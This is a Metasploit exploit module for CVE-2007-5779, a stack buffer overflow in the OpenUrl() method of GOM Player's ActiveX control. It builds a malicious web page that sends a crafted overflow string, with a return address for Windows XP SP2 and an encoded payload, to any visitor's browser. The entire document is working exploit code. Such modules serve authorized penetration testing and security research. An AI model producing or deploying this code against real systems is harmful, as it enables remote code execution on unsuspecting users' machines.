##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GOM Player ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in GOM Player 2.1.6.3499.
        By sending an overly long string to the "OpenUrl()" method located
        in the GomWeb3.dll Control, an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5779'],
          [ 'OSVDB', '38282'],
          [ 'URL', 'http://web.archive.org/web/20071030001455/http://secunia.com:80/advisories/27418/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 10/29/07
        ],
      'DisclosureDate' => '2007-10-27',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_english(506) +  [target.ret].pack('V')
    sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.OpenURL(#{strname});
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
